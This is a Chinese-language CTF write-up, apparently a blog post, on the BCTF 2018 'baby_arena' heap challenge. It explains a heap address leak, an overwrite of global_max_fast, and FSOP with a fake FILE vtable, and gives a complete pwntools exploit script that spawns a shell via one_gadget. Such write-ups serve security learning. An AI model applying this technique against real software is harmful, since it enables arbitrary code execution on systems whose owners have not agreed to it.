寫在前面
在pwn的泥潭里越陷越深,無(wú)法自拔。本次的bctf中,遇到了一個(gè)題目,算是我這個(gè)萌新的知識(shí)盲點(diǎn),于是,總結(jié)一下,紀(jì)念一下自己菜菜的小進(jìn)步
題目
bctf2018的baby_arena,64位,也是比較簡(jiǎn)單的一道題吧
漏洞
這個(gè)題,有一個(gè)任意地址寫,位于login功能中,但是只能寫'admin'或者'clientele',而且之后的實(shí)踐中發(fā)現(xiàn)貌似只能寫'clientele':

看變量:

就是說(shuō)接受16個(gè)字符的v3是可以到覆蓋到v4的。于是就可以任意寫了,但是8個(gè)字符覆蓋剛好到v4,于是后面的回車符被換成\x00被送到v1里,于是只能寫'clientele'了。
還有就是這個(gè)題

free以后沒有清空堆的內(nèi)容,然后

這里我們申請(qǐng)剛free的堆塊,只向里面寫少量數(shù)據(jù),就能泄露fd了,于是就能得到地址了
思路
leak libc地址和heap_base地址
這個(gè)當(dāng)然很簡(jiǎn)單了,就是直接申請(qǐng)堆,然后釋放,然后再次申請(qǐng)到那里,就可以讀到了:
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))
大致就是這樣。
修改global_max_fast
了解過fastbin的童鞋都知道global_max_fast是規(guī)定fastbins的最大大小的,而在得到一個(gè)fastbin的時(shí)候,為了構(gòu)造fastbin鏈,方便查找,main_arena會(huì)存放fastbin鏈,main_arena存放fastbin的鏈時(shí)按照f(shuō)astbin的大小計(jì)算位置,所以,如果我們申請(qǐng)的fastbin足夠大,就會(huì)從main_arena溢出出去,而main_arena下就有file結(jié)構(gòu)體之類比較重要的結(jié)構(gòu)體,我們可以改這些結(jié)構(gòu)體的虛表地址,使得其在查虛表時(shí),查到我們的堆中,而我們?cè)诙阎胁己眉俚奶摫?,就可以改變程序流?br> 但是這里題目還有一個(gè)限制:

我們最大只能申請(qǐng)5999的堆,但是這樣的話我們就無(wú)法溢出到stdout和stdin了,只能到stderr,但是,stderr我一直觸發(fā)不了,真的是無(wú)語(yǔ),(吐槽一句,想觸發(fā)stderr的時(shí)候觸發(fā)不了,不想的時(shí)候全是error。。。),于是我換了另一種思路,也是剛好把file結(jié)構(gòu)體學(xué)一遍,下面是原理和利用思路
FSOP
基礎(chǔ)知識(shí)知識(shí)
首先看源碼:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
這是FILE結(jié)構(gòu)體的內(nèi)容,F(xiàn)ILE結(jié)構(gòu)會(huì)通過_chain連接形成一個(gè)鏈表,鏈表頭部用全局變量_IO_list_all表示。
接下來(lái)看一個(gè)函數(shù)的源碼:
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
我們看到如果運(yùn)行到這里
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
就會(huì)調(diào)用_IO_OVERFLOW,就會(huì)調(diào)用vtable,也就是虛表。那么只要滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我們的虛表中的_IO_OVERFLOW就會(huì)調(diào)用,而且程序是通過_IO_list_all來(lái)查找file結(jié)構(gòu)體的。
什么時(shí)候會(huì)調(diào)用_IO_flush_all_lockp呢?
1.libc執(zhí)行abort流程時(shí)
2.執(zhí)行exit函數(shù)時(shí)
3.執(zhí)行流從main函數(shù)返回時(shí)
這個(gè)觸發(fā)的條件就會(huì)簡(jiǎn)單很多了。于是,do it?。?!
利用
首先,我們得改_IO_list_all,這個(gè)位置就在stderr的上面,只要知道libc的地址,我們就能得到_IO_list_all的地址,再通過main_arena的溢出,就可以試這個(gè)指針指向chunk。
然后我們只要在chunk上布好滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base的file結(jié)構(gòu)體就好,
其實(shí)這個(gè)是比較簡(jiǎn)單的。我們只要把file結(jié)構(gòu)體的內(nèi)容置0,然后我們使_IO_write_ptr為1,或者更大,開心就好。
但是,我們要考慮的一點(diǎn)是,我們修改后的_IO_list_all中的值是指向chunk的指針,也就是說(shuō)chunk的prev_size,size是在fakefile結(jié)構(gòu)體里的,當(dāng)然這個(gè)不會(huì)有什么大影響,但是,我當(dāng)時(shí)寫的時(shí)候,就忽略了這一點(diǎn),使得_IO_write_ptr和vtable都比應(yīng)在的位置高0x10。
于是,在有prev_size,size的條件下,chunk被我布成這個(gè)樣子了:
//prev_size,size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)
這個(gè)0x6020b0-0x18其實(shí)就是我們構(gòu)建的虛表,這個(gè)地址是在login功能中可寫的,(上面有提到),當(dāng)時(shí)我們v3溢出到v4賦值到任意地址,v3本身的8個(gè)bit也是我們可以寫的,于是我把one_gadget寫在了v3中,如果找不到地址也可以布在堆里,都是可以的。0x6020b0是v3的地址,而OVERFLOW在vtable的位置位于偏移0x18處,于是得到0x6020b0-0x18
這時(shí)如果我們exit,我們就可以getshell了
pwn?。?!
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']
p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a
def create(size,note):
p.sendline('1')
p.recvuntil('Pls Input your note size\n')
p.sendline(str(size))
p.recvuntil('Input your note\n')
p.sendline(note)
def dele(num):
p.sendline('2')
p.recvuntil('Input id:\n')
p.sendline(str(num))
def login(name):
p.sendline('3')
p.recvuntil('Please input your name\n')
p.sendline(name)
p.recvuntil('1.admin\n')
#p.sendline(str(num))
#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)
#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)
p.sendline('4')
print pidof(p)
p.interactive()
于是:
